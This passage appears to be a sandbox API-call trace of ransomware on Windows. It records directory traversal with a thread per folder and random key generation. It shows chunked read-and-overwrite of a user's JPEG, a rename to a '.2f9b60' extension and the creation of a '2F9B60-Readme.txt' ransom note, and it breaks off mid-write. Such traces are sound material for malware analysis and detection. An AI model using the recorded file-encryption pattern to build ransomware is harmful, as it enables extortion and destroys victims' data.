[0154.412] wcscmp (_String1="10.0", _String2="..") returned 1 [0154.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced2bf0 [0154.412] wcscpy (in: _Dest=0x1ced2bf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0154.412] wcscat (in: _Dest=0x1ced2bf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\" [0154.412] wcscat (in: _Dest=0x1ced2bf0, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0159.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced2bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64 [0159.029] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cec5120 | out: lpFindFileData=0x1cec5120*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0159.029] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0159.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5120) returned 1 [0159.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2b60) returned 1 [0159.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b040) returned 1 Thread: id = 2482 os_tid = 0x1f3c [0154.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced2c80 [0154.416] wcscpy (in: _Dest=0x1ced2c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0154.416] wcscat (in: _Dest=0x1ced2c80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\" [0154.416] wcscat (in: _Dest=0x1ced2c80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*" [0154.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5390 [0154.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x1cec5390 | out: lpFindFileData=0x1cec5390*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d850 [0154.417] wcscmp (_String1=".", _String2=".") returned 0 [0154.417] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1cec5390 | out: lpFindFileData=0x1cec5390*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.417] wcscmp (_String1="..", _String2=".") returned 1 [0154.417] wcscmp (_String1="..", _String2="..") returned 0 [0154.417] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1cec5390 | out: lpFindFileData=0x1cec5390*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0154.417] wcscmp (_String1="Dictionaries", _String2=".") returned 1 [0154.417] wcscmp (_String1="Dictionaries", _String2="..") returned 1 [0154.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64fd0 [0154.417] wcscpy (in: _Dest=0x1cd64fd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0154.417] wcscat (in: _Dest=0x1cd64fd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\" [0154.417] wcscat (in: _Dest=0x1cd64fd0, _Source="Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0158.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd64fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0158.806] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1cec5390 | out: lpFindFileData=0x1cec5390*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0158.806] FindClose (in: hFindFile=0x1cd9d850 | out: hFindFile=0x1cd9d850) returned 1 [0158.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5390) returned 1 [0158.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2c80) returned 1 [0158.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 Thread: id = 2483 os_tid = 0x1f40 [0154.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\g7a5zget7m0wu.jpg")) returned 0x20 [0154.418] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg", dwFileAttributes=0x20) returned 1 [0154.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\g7a5zget7m0wu.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1304 [0154.419] GetFileSizeEx (in: hFile=0x1304, lpFileSize=0x2b8afa60 | out: lpFileSize=0x2b8afa60*=98652) returned 1 [0154.419] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x18158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.419] ReadFile (in: hFile=0x1304, lpBuffer=0x2b8af9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b8afa28, lpOverlapped=0x0 | out: lpBuffer=0x2b8af9e0*, lpNumberOfBytesRead=0x2b8afa28*=0x4, lpOverlapped=0x0) returned 1 [0154.420] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0154.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9830 [0154.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0154.421] NtQuerySystemTime (in: CurrentTime=0x2b8af920 | out: CurrentTime=0x2b8af920*=132462177595486000) returned 0x0 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x625eb1dd [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x3915e9e0 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x3cb78647 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x47998e3b [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x37bff4ad [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x5e89c779 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x75e266c6 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x7af36ebc [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x37b60587 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x2effb614 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x6c423dd8 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0xa6f2c61 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x570b1868 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x2bbb3e2 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x5dcf7b35 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x4b8f88de [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x5d119368 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x406f2e61 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x25f0365 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x44f7a768 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x3899c2e1 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x9d73c69 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x64cf74a [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x782925f3 [0154.421] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x769e291c [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x84efc66 [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x70dd2f46 [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x2075e33c [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0xb3ba74e [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x46e4f4d0 [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x1e58075d [0154.422] RtlRandomEx (in: Seed=0x2b8af910 | out: Seed=0x2b8af910) returned 0x792b5d63 [0154.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0154.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0154.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0154.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0154.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427ffa20 [0154.432] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.432] ReadFile (in: hFile=0x1304, lpBuffer=0x427ffa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x427ffa20*, lpNumberOfBytesRead=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0154.432] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0154.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0154.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0154.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42803630 [0154.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0154.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0154.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0154.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0154.434] WriteFile (in: hFile=0x1304, lpBuffer=0x42803630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x42803630*, lpNumberOfBytesWritten=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0162.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42803630) returned 1 [0162.285] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.285] ReadFile (in: hFile=0x1304, lpBuffer=0x427ffa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x427ffa20*, lpNumberOfBytesRead=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0162.286] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0162.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0162.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18540 [0162.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18540) returned 1 [0162.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42803630 [0162.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18540 [0162.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18570 [0162.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18570) returned 1 [0162.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.288] WriteFile (in: hFile=0x1304, lpBuffer=0x42803630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x42803630*, lpNumberOfBytesWritten=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0162.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42803630) returned 1 [0162.293] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x1455c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.293] ReadFile (in: hFile=0x1304, lpBuffer=0x427ffa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x427ffa20*, lpNumberOfBytesRead=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0162.293] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x1455c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0162.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0162.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18600 [0162.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18600) returned 1 [0162.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42803630 [0162.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18600 [0162.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18630 [0162.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18630) returned 1 [0162.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.295] WriteFile (in: hFile=0x1304, lpBuffer=0x42803630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b8af980, lpOverlapped=0x0 | out: lpBuffer=0x42803630*, lpNumberOfBytesWritten=0x2b8af980*=0x3c00, lpOverlapped=0x0) returned 1 [0162.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42803630) returned 1 [0162.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0162.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18600) returned 1 [0162.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18540) returned 1 [0162.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0162.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427ffa20) returned 1 [0162.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7aa260 [0162.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0162.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0162.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0162.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0162.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7a8e60 [0162.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0162.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18540 [0162.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18540) returned 1 [0162.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x154) returned 0x133760 [0162.305] SetFilePointerEx (in: hFile=0x1304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.305] WriteFile (in: hFile=0x1304, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2b8afa30, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x2b8afa30*=0x154, lpOverlapped=0x0) returned 1 [0164.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133760) returned 1 [0164.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0164.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0164.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa260) returned 1 [0164.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0164.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9830) returned 1 [0164.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9890) returned 1 [0164.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98c0) returned 1 [0164.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279bb0 [0164.499] wcscpy (in: _Dest=0x20279bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg" [0164.499] wcscat (in: _Dest=0x20279bb0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg.2f9b60" [0164.499] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg.2f9b60", NtPathName=0x2b8afa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecfa20 [0164.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0164.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291000) returned 1 [0164.502] NtQueryInformationFile (in: FileHandle=0x1304, IoStatusBlock=0x2b8afab8, FileInformation=0x2b8afac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b8afab8, FileInformation=0x2b8afac8) returned 0x0 [0164.502] NtSetInformationFile (FileHandle=0x1304, IoStatusBlock=0x2b8afab8, FileInformation=0x2b8afac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0164.515] FlushFileBuffers (hFile=0x1304) returned 1 [0166.273] CloseHandle (hObject=0x1304) returned 1 [0199.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f2e00 [0199.636] wcscpy (in: _Dest=0x431f2e00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0199.636] wcscat (in: _Dest=0x431f2e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt" [0199.636] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\2f9b60-readme.txt")) returned 0xffffffff [0201.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b48 [0216.708] WriteFile (in: hFile=0x2b48, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, 